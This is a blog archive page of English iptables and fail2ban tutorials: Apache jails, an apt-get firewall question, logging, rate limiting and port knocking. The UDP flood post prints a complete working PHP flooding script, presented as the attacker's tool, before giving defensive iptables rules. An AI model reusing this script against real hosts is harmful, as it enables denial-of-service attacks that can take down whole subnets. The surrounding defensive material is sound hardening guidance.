Archive

Articles taggués ‘firewall’

How to configure fail2ban to protect Apache HTTP server

27/06/2022 Aucun commentaire

Protecting Apache HTTP server with fail2ban

fail2ban apacheFail2ban: An Apache HTTP server in production environments can be under attack in various different ways. Attackers may attempt to gain access to unauthorized or forbidden directories by using brute-force attacks or executing evil scripts. Some malicious bots may scan your websites for any security vulnerability, or collect email addresses or web forms to send spams to.

Apache HTTP server comes with comprehensive logging capabilities capturing various abnormal events indicative of such attacks. However, it is still non-trivial to systematically parse detailed Apache logs and react to potential attacks quickly (e.g., ban/unban offending IP addresses) as they are perpetrated in the wild. That is when fail2ban comes to the rescue, making a sysadmin‘s life easier.

fail2ban is an open-source intrusion prevention tool which detects various attacks based on system logs and automatically initiates prevention actions e.g., banning IP addresses with iptables, blocking connections via /etc/hosts.deny, or notifying the events via emails. fail2ban comes with a set of predefined “jails” which use application-specific log filters to detect common attacks. You can also write custom jails to deter any specific attack on an arbitrary application.

In this tutorial, I am going to demonstrate how you can configure fail2ban to protect your Apache HTTP server. I assume that you have Apache HTTP server and fail2ban already installed. Refer to another tutorial for fail2ban installation.

What is a Fail2ban Jail

Let me go over more detail on fail2ban jails. A jail defines an application-specific policy under which fail2ban triggers an action to protect a given application. fail2ban comes with several jails pre-defined in /etc/fail2ban/jail.conf, for popular applications such as Apache, Dovecot, Lighttpd, MySQL, Postfix, SSH, etc. Each jail relies on application-specific log filters (found in /etc/fail2ban/fileter.d) to detect common attacks. Let’s check out one example jail: SSH jail.

[ssh]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 6
banaction = iptables-multiport

This SSH jail configuration is defined with several parameters:

  • [ssh]: the name of a jail with square brackets.
  • enabled: whether the jail is activated or not.
  • port: a port number to protect (either numeric number of well-known name).
  • filter: a log parsing rule to detect attacks with.
  • logpath: a log file to examine.
  • maxretry: maximum number of failures before banning.
  • banaction: a banning action.

Any parameter defined in a jail configuration will override a corresponding fail2ban-wide default parameter. Conversely, any parameter missing will be assgined a default value defined in [DEFAULT] section.

Predefined log filters are found in /etc/fail2ban/filter.d, and available actions are in /etc/fail2ban/action.d.

16076581722_4d51bf2ce8_o

If you want to overwrite fail2ban defaults or define any custom jail, you can do so by creating /etc/fail2ban/jail.local file. In this tutorial, I am going to use /etc/fail2ban/jail.local.

Lire la suite…

How to configure iptables to use apt-get in a server

24/06/2022 9 commentaires

Source: serverfault.com

I’m starting using iptables (newbie) to protect a linux server (specifically Debian 5.0). Before I configure the iptables settings, I can use apt-get without a problem. But after I configure the iptables, the apt-get stop working. For example I use this script in iptables:

#!/bin/sh
IPT=/sbin/iptables

## FLUSH
$IPT -F
$IPT -X
$IPT -t nat -F
$IPT -t nat -X
$IPT -t mangle -F
$IPT -t mangle -X

$IPT -P INPUT DROP
$IPT -P OUTPUT DROP
$IPT -P FORWARD DROP

$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT

$IPT -A INPUT -p tcp --dport 22 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 22 -j ACCEPT

$IPT -A INPUT -p tcp --dport 80 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 80 -j ACCEPT
$IPT -A INPUT -p tcp --dport 443 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 443 -j ACCEPT

# Allow FTP connections @ port 21
$IPT -A INPUT  -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT

# Allow Active FTP Connections
$IPT -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT 

# Allow Passive FTP Connections
$IPT -A INPUT -p tcp --sport 1024: --dport 1024:  -m state --state ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 1024: --dport 1024:  -m state --state ESTABLISHED,RELATED -j ACCEPT 

#DNS
$IPT -A OUTPUT -p udp --dport 53 --sport 1024:65535 -j ACCEPT

$IPT -A INPUT -p tcp --dport 1:1024
$IPT -A INPUT -p udp --dport 1:1024

$IPT -A INPUT -p tcp --dport 3306 -j DROP
$IPT -A INPUT -p tcp --dport 10000 -j DROP
$IPT -A INPUT -p udp --dport 10000 -j DROP

then when I run apt-get I obtain:

core:~# apt-get update
0% [Connecting to ftp.us.debian.org] [Connecting to security.debian.org] [Conne

and it stalls. What rules I need to configure to make it works.

Thanks

Addendum:

After some attempts, I find that the problem is in the INPUT policy, and not in the OUTPUT one, if a modify the $IPT -P OUTPUT to $IPT -P OUTPUT ACCEPT the problem remains. But if I change the $IPT -P INPUT to $IPT -P INPUT ACCEPT then it start to work.

Code Snippet: iptables settings to prevent UDP abuse (flood protection)

24/06/2022 Comments off

Prevent UDP flood

Some basic iptables settings can prevent UDP flood from happening.

The Attacker

Here’s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.

ignore_user_abort(TRUE);
set_time_limit(0);
if(!isset($_GET['h']))
        exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
if(isset($_GET['t']))
        $dt = (int)$_GET['t'];
if(isset($_GET['type']))
{
  if($_GET['type'] == 'tcp')
 { 
    $posttype = 'tcp://';
 }
 else
 {
    $posttype = 'udp://';
 }
}
else
{
  $posttype = 'udp://';
}
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
    if(isset($_GET['p']))
      $port = $_GET['p'];
    else $port = rand(1,65000);
        $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
        if($sock){
                ++$p;
                $fwriteFile = fwrite($sock, $out);
                fclose($sock);
        }
}
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";

The Solution

Generally speaking, there’s no need to allow UDP traffic other than DNS.

All non-essential UDP traffic can be completely blocked with the following settings:

# allow dns requests to google nameservers
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT
# block all other udp
 iptables -A OUTPUT -p udp -j DROP
 ip6tables -A OUTPUT -p udp -j DROP

Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b

Alternatively, rate limiting can be employed as a more tolerant measure:

# Outbound UDP Flood protection in a user defined chain.
 iptables -N udp-flood
 iptables -A OUTPUT -p udp -j udp-flood
 iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
 iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
 iptables -A udp-flood -j DROP

Gist: https://gist.github.com/thoward/6180165

Note: You’ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!

Source: Troy Howard

Force iptables to log messages to a different log file

23/06/2022 Comments off

Source: nixCraft

According to man page:
Iptables is used to set up, maintain, and inspect the tables of IP packet filter rules in the Linux kernel. Several different tables may be defined. Each table contains a number of built-in chains and may also contain user defined chains.

By default, Iptables log message to a /var/log/messages file. However you can change this location. I will show you how to create a new logfile called /var/log/iptables.log. Changing or using a new file allows you to create better statistics and/or allows you to analyze the attacks.

Iptables default log file

For example, if you type the following command, it will display current iptables log from /var/log/messages file:

# tail -f /var/log/messages

Output:

Oct  4 00:44:28 debian gconfd (vivek-4435): Resolved address "xml:readonly:/etc/gconf/gconf.xml.defaults" to a read-only configuration source at position 2
Oct  4 01:14:19 debian kernel: IN=ra0 OUT= MAC=00:17:9a:0a:f6:44:00:08:5c:00:00:01:08:00 SRC=200.142.84.36 DST=192.168.1.2 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=18374 DF PROTO=TCP SPT=46040 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0
Oct  4 00:13:55 debian kernel: IN=ra0 OUT= MAC=ff:ff:ff:ff:ff:ff:00:18:de:55:0a:56:08:00 SRC=192.168.1.30 DST=192.168.1.255LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=13461 PROTO=UDP SPT=137 DPT=137 LEN=58

Procedure to log the iptables messages to a different log file

Open your /etc/syslog.conf file:

# vi /etc/syslog.conf

Append following line

kern.warning /var/log/iptables.log

Save and close the file.

Restart the syslogd (Debian / Ubuntu Linux):

# /etc/init.d/sysklogd restart

On the other hand, use following command to restart syslogd under Red Hat/Cent OS/Fedora Core Linux:

# /etc/init.d/syslog restart

Now make sure you pass the log-level 4 option with log-prefix to iptables. For example:

# DROP everything and Log it
iptables -A INPUT -j LOG --log-level 4
iptables -A INPUT -j DROP

For example, drop and log all connections from IP address 64.55.11.2 to your /var/log/iptables.log file:

iptables -A INPUT -s 64.55.11.2 -m limit --limit 5/m --limit-burst 7 -j LOG --log-prefix '** HACKERS **'--log-level 4
iptables -A INPUT -s 64.55.11.2 -j DROP

Where,

  • –log-level 4: Level of logging. The level # 4 is for warning.
  • –log-prefix ‘*** TEXT ***’: Prefix log messages with the specified prefix (TEXT); up to 29 letters long, and useful for distinguishing messages in the logs.

You can now see all iptables message logged to /var/log/iptables.log file:

# tail -f /var/log/iptables.log

iptables recent module usage by example

22/06/2022 Comments off

https://www.dbsysnet.com/wp-content/uploads/2016/06/iptables.jpgiptables recent module usage by example

icmp check: 2 packets per 10 seconds – rcheck

iptables -F
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --rcheck --seconds 10 --hitcount 2 --name ICMPCHECK -j DROP
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --set --name ICMPCHECK -j ACCEPT

icmp check: 2 packets per 10 seconds – update

iptables -F
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --update --seconds 10 --hitcount 2 --name ICMPCHECK -j DROP
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --set --name ICMPCHECK -j ACCEPT

SSH brute-force prevention : 3 connections per 60 seconds

SSHPORT=22
iptables -F
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --update --seconds 60 --hitcount 3 --name BRUTEFORCE -j DROP 
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --set --name BRUTEFORCE -j ACCEPT

SSH brute-force prevention : 3 connections per 60 seconds – separate chain

SSHPORT=22
iptables -F
iptables -X
iptables -N BRUTECHECK
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -j BRUTECHECK
iptables -A BRUTECHECK -m recent --update --seconds 60 --hitcount 3 --name BRUTEFORCE -j DROP
iptables -A BRUTECHECK -m recent --set --name BRUTEFORCE -j ACCEPT

SSH port knocking : tcp/1000 , tcp/2000

SSHPORT=22
N1=1000
N2=2000
iptables -F
iptables -X
iptables -N KNOCK1
iptables -N KNOCK2
iptables -N OK

iptables -A KNOCK1 -m recent --set --name SEENFIRST
iptables -A KNOCK1 -m recent --remove --name KNOCKED
iptables -A KNOCK1 -j DROP

iptables -A KNOCK2 -m recent --rcheck --name SEENFIRST --seconds 5 -j OK
iptables -A KNOCK2 -m recent --remove --name SEENFIRST
iptables -A KNOCK2 -j DROP

iptables -A OK -m recent --set --name KNOCKED
iptables -A OK -j DROP

iptables -A INPUT -p tcp --dport ${N1} -j KNOCK1
iptables -A INPUT -p tcp --dport ${N2} -j KNOCK2
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --seconds 10 --rcheck --name KNOCKED -j ACCEPT
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -j DROP

SSH port knocker script

#!/bin/bash
HOST="172.16.20.2"
SSHPORT=22
KNOCKS="1000 2000"

for PORT in $KNOCKS; do
  echo "Knock: $PORT"
  telnet $HOST $PORT &> /dev/null &
  P=$(echo $!)
  echo "PID: ${P}"
  sleep 1
  kill -KILL ${P}
done
ssh -p${SSHPORT} ${HOST}

Source: Pejman Moghadam